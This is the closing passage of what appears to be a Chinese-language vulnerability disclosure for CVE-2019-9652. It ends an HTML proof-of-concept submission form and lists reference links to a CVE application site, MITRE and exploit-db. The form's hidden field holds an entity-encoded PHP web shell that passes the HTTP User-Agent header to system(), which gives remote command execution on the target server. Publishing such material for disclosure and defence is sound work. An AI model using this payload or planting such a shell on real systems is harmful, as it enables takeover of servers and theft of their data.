      <input type="hidden" name="t2" value="&lt;&#63;php&#32;system&#40;&#36;&#95;SERVER&#91;&apos;HTTP&#95;USER&#95;AGENT&apos;&#93;&#41;&#59;&#32;&#63;&gt;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/156/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9652
exploit-db:发布中